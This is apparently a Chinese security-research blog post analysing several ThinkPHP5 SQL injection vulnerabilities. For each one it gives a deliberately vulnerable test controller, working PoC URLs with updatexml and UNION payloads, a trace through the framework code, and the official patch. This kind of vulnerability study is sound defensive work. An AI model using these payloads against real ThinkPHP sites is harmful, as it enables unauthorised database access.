Diggid's Blog

ThinkPHP5 SQL注入漏洞总结

字数统计: 3.4k阅读时长: 14 min
2021/05/22 Share

前言

之前审计都是反序列化链比较多,分析SQL注入漏洞的比较少,这里分析总结一下ThinkPHP5的SQL注入漏洞汇总,学习一下利用漏洞通告和commit修复信息进行分析的方法,顺便再熟悉一下TP5的框架。

环境搭建

  • 拉tp5.0.15的库
1
composer create-project --prefer-dist topthink/think=5.0.15 tp5
  • 修改一下composer.json和composer.lockcomposer update
1
2
3
4
5
6
7
8
9
10
11
12
13
# composer.json
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
},

# composer.lock
"packages": [
{
"name": "topthink/framework",
"version": "v5.0.15",
}
]
  • 配置数据库并在config.php中开启app_debug和app_trace
  • 创建如下数据库
1
2
3
4
5
6
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);

insert注入

在application/index/controller/Index.php加入测试页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

poc

1
2
index?username[0]=inc&username[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&username[2]=1
// username[0]为inc\dec username[2]任意数字

image-20210522173511516

影响

  • 5.0.13 <= TP <= 5.0.155.1.0 <= TP <= 5.1.5
  • 调用insert()函数,并传入可控数组参数
  • 开启app_debug可以报错注入

分析

可拼接在insert语句的field(字段值)中,开启app_debug的话可以报错注入,没开启的话可以尝试盲注(bool、报错、时间)等

update注入

poc

1
index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

影响

分析

select注入(where子句)

在application/index/controller/Index.php加入测试页面

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
//$result = db('users')->where(['username' => $username])->select();
return 'select success';
}
}

poc

1
2
3
4
5
第一种:
index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#

第二种:
index?username[0]=exp&username[1]=) union select updatexml(1,concat(0x7,user(),0x7e),1)#

影响

  • TP5全版本
  • 调用where('username','exp',$username)->select(),where函数的第二个参数为允许的操作符(在Build$exp可查看允许的操作符),并传入可控的参数

分析

有了前两个的分析经验且基本熟悉TP调用SQL语句的方式后,直接把端点打在两个地方,Query类的where函数和select函数,根据update注入where函数处理,这里也是一样的,将where部分经过parseWhereExp处理后,存在$this->options['where']

image-20210523101344821

然后便继续调用到select函数,在继续跟进$this->builder->select($options),进入到Builder::select,中间又是一长串的处理SQL语句各个部分的parseXxx方法,然后用str_replace来替换占位符拼接成SQL语句,所以我们跟到最后的sql语句,得到

image-20210523101648926

说明其中存在语句的拼接,由于我们是在where语句的部分进行的注入,因此我们跟到$this->parseWhere

image-20210523101757514

然后经过如下调用栈到parseWhereItem()

image-20210523103408078

在该函数的处理过程中,当我们的操作符是exp时,也就是index.php页面的db('users')->where('username','exp',$username)where函数的第二个参数,那么就会进入到如下的拼接语句中

image-20210523103621628

前面的(我们就用)去拼接,后面的)就注释掉即可,最后会得到这样的SQL语句然后返回

1
( `username` ) union select updatexml(1,concat(0x7,user(),0x7e),1)# )

然后回到parseWhere函数中,此时$whereStr就是上面的值,最后和前导WHERE拼在返回

image-20210523104439790

最终得到的$sql

image-20210523104519862

最后调用query函数完成SQL语句执行

整个SQL注入产生的关键部分是parseWhereItem函数中当操作符为EXP时,sql语句未经任何过滤处理倒置的不当拼接,因此产生SQL注入。上述分析均为带POC的逆向分析,如果要正向去寻找SQL注入拼接的漏洞的话,需要关注不同的操作符条件带来的不同的拼接效果,抓住一些没有过滤的,直接字符串拼接的部分,可能就大概率存在漏洞。

修复

未修复。因为开发人员认为此漏洞依赖db('users')->where('username','exp',$username)->select()这段漏洞代码的exp操作符,但实际上实际开发情况中是有可能出现这样的写法的。

select注入(where子句)

在application/index/controller/Index.php加入测试页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
}
}

然后更新版本为5.0.10

poc

1
index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#

image-20210523111949153

  • username[0]=not like:设置操作符为NOT LIKE,触发进入漏洞分支
  • username[1][0]=%%&username[1][1]=233:必须传入长度大于等于2的username[1]数组
  • username[2]:注入拼接的SQL语句

影响

  • 仅影响TP5.0.10
  • 无需开启app_debug,因为不是报错注入。

分析

根据官方在安全漏洞公告前的commit,发现一处改进了Request类的filterExp方法,发现其中对于操作符的过滤新增了一个NOT LIKE,十分可疑

image-20210523112724024

这次漏洞也跟该操作符相关。

我们知道,Request类是用于处理用户在URL中提交的GET/POST参数的,其中有过滤函数filterValuefilterExp等,因此无论怎么样,我们提交的参数都会经过其过滤,先跟一下过滤细节,端点直接打在filterExp,可以发现和上一个select注入的处理流程是一样的,递归处理我们传入的数组参数,最后跟进到select方法中,得到的$this->options['where']

image-20210523113410083

和上一个select语句不同的地方就是操作符从exp变为了not like,所以我们的分析思路还是一样,看看对于not like操作符,其sql语句是如何处理拼接的,有了之前分析的经验,处理$this->options['where']的参数传递关系如下

image-20210523120318263

image-20210523120346428

摸清参数传递后,基本上都是这个套路,然后我们直接定位到NOT LIKE操作符的elseif分支

image-20210523120732402

image-20210523120754035

这里将$value数组的每个值进行NOT LIKE的拼接处理,并存在$array数组中。然后下面比较重要,当$val[2]参数不为空时,则会赋值$val[2]$logic,注意下面这段

1
$test = implode($array, ' ' . strtoupper($logic) . ' '); //添加的测试语句

其使用小写后的$logic去拼接$array的值,当$array数组的长度大于等于2时,才会用$logic进行拼接,否则不会拼接,因此这也就是为什么poc中username[1]需要一个长度为2的数组,而长度为1的数组是不行的,所以最终得到的$whereStr的SQL语句值为

1
(`username` NOT LIKE '%%' ) UNION SELECT 1,USER()# `username` NOT LIKE '233')

如果长度仅为1的话,只能得到

1
(`username` NOT LIKE '%%')

之后就是相同的加上前导WHERE,最终得到的SQL语句

1
SELECT * FROM `users` WHERE  (`username` NOT LIKE '%%' ) UNION SELECT 1,USER()# `username` NOT LIKE '233') 

修复

  • 在5.0.10之前的版本中,未出现该漏洞的原因是在Builder类的$exp成员变量中就没有设置not like为合法的操作符,注意空格

image-20210523123742082

因此就无法过parseWhereItem函数对于操作符的白名单检测

image-20210523123916740

  • 在新版本的修复中,官方在我们前面所说的filterExp函数的黑名单过滤中添加了NOT LIKE(带空格的),匹配到则将$value替换为空,这样就无法进入到我们想进入的拼接分支了。

image-20210523112724024

order by方法注入

在application/index/controller/Index.php加入测试页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'diggid'])->order($orderby)->find();
var_dump($result);
}
}

然后更新版本为

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
}

poc

1
/index?orderby[id`|updatexml(1,concat(0x7e,user(),0x7e),1)%23]=1 

image-20210523150913330

影响

  • 5.1.16 <= TP5 <= 5.1.22

分析

还是一样,Request类的filterValue等方法过滤处理传入的参数,但是实际上对我们传入的orderby参数的键值没有任何过滤影响。

那么就直接跟到order方法中,这里的$field就是我们的传入的orderby参数

image-20210523152129352

然后处理了一下这里的orderby参数,并同样将其添加到$this->options['orderby']

image-20210523152321310

继续分析find方法,经过一段调用栈,还是来到我们最熟悉的Builder::select函数中,该函数前面已经见过好几面了,就是将模板SQL语句和处理后的实际SQL语句的各个部分进行一一对应的替换,然后生成最终的SQL语句。这里由于我们漏洞点是处在orderby子句中,所以我们跟进parseOrder中看一下,经过一系列if判断条件跟进到parseKey

image-20210523153639801

在parseKey中又进入到如下分支,从而给整个$key也就是我们注入的SQL语句添加了反引号包裹,所以我们的POC中前面要用一个反引号进行闭合,后面用注释。

image-20210523153323645

处理完后直接拼接前导ORDER BY以及拆分$array数组并连接,最终处理完后的SQL语句为

image-20210523154214192

1
SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7e,user(),0x7e),1)#` LIMIT 1  

由于|拼接,在ORDER BY后面形成了报错注入但不局限于报错注入。

修复

image-20210523145725772

image-20210523145715278

其增加了一句判断条件,当ORDER BY后面的语句中出现#)时,则不处理$array,那么到最后拼接的$array即为空

MySQL聚合函数注入

在application/index/controller/Index.php加入测试页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}

并更新版本

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.25"
},

poc

不同版本的poc稍有调整,主要是增加了`拼接

  • 5.0.0~5.0.215.1.3~5.1.10
1
index?options=id)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#
  • 5.1.11~5.1.25
1
index?options=id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#

image-20210523155748711

影响

  • 5.0.0 <= TP <= 5.0.215.1.3 <= TP5 <= 5.1.25
  • 使用了MySQL的聚合函数(aggregation function),有AVGMAXCOUNTMINSUM

分析

根据修复,我们可以发现其改进了数据库驱动,代码中多了检测特殊字符的片段,我们来具体分析一下。

还是一样的,经过一些列动态类加载(文件包含)和初始化后,直接到了Query::max方法,然后又调用了aggregate方法,

image-20210523160117825

然后由继续进入到parseKey中处理我们的$key。同样的,在该版本的parseKey中,会对我们传入$key进行反引号拼接,

image-20210523160359342

然后返回到Mysql::aggregate函数,拼接之后的$field即为聚合函数子句部分的SQL语句,正常情况下已经是类似MAX(字段),但由于我们这里注入了SQL语句,拼接语句

1
2
3
4
$field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);

// $aggregate = "MAX"
// $this->builder->parseKey($query, $field, true) = "id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#`"

最后拼接成

1
MAX(`id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#`) AS tp_max

继续跟进$this->value方法,然后经过一段调用,又会到我们最最最熟悉的select方法替换填充模板SQL语句,由于我们在之前并未调用其他SQL子句的函数,因此这部分直接可以跳过了,最后得到的SQL语句为

1
SELECT MAX(`id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1  

image-20210523161045151

修复

image-20210523155155432

官方加固了parseKey方法,$strict默认为true,当匹配到除了字母和.*之外的字符时,则抛出异常,因此我们注入的SQL语句经过修复后的parseKey处理后会报错。

总结

分析完整个TP5系列的SQL注入漏洞,学到了一些东西。SQL注入漏洞的触发主要原因还是处理不同SQL子句部分的语句过滤不够完全,导致SQL语句的拼接,加上开发人员在某种情况下的一些SQL语句的写法,配合用户可控输入,从而造成SQL注入。通篇分析下来,出现语句拼接的方法都是parseXxx,因此在挖掘SQL注入的时候,需要关注相关类的解析SQL的方法,构造一些条件来调试跟踪在何种情况下导致进入某些分支从而拼接未过滤完全的用户可控输入

其次,根据github的漏洞补丁信息逆推调试,一样可以写出sql注入的poc。

最重要的还是对整个框架的熟悉程度吧,如果十分熟悉TP开发的话,很快速的就能根据index.php中调用的SQL方法对应到相应的处理语句,如这里的三个SQL处理类QueryBuildMysql。入口类方法基本都是Query类,因为db('table')返回的是Query类的实例,从而进一步调用,若调用了Query类的findselect等方法,最终都会调用而Build类的select方法,该方法中调用了多个parseXxx方法来处理SQL各部分子句,然后替换SQL语句模板中相应的部分。

CATALOG
  1. 1. 前言
  2. 2. 环境搭建
  3. 3. insert注入
    1. 3.1. poc
    2. 3.2. 影响
    3. 3.3. 分析
  4. 4. update注入
    1. 4.1. poc
    2. 4.2. 影响
    3. 4.3. 分析
  5. 5. select注入(where子句)
    1. 5.1. poc
    2. 5.2. 影响
    3. 5.3. 分析
    4. 5.4. 修复
  6. 6. select注入(where子句)
    1. 6.1. poc
    2. 6.2. 影响
    3. 6.3. 分析
    4. 6.4. 修复
  7. 7. order by方法注入
    1. 7.1. poc
    2. 7.2. 影响
    3. 7.3. 分析
    4. 7.4. 修复
  8. 8. MySQL聚合函数注入
    1. 8.1. poc
    2. 8.2. 影响
    3. 8.3. 分析
    4. 8.4. 修复
  9. 9. 总结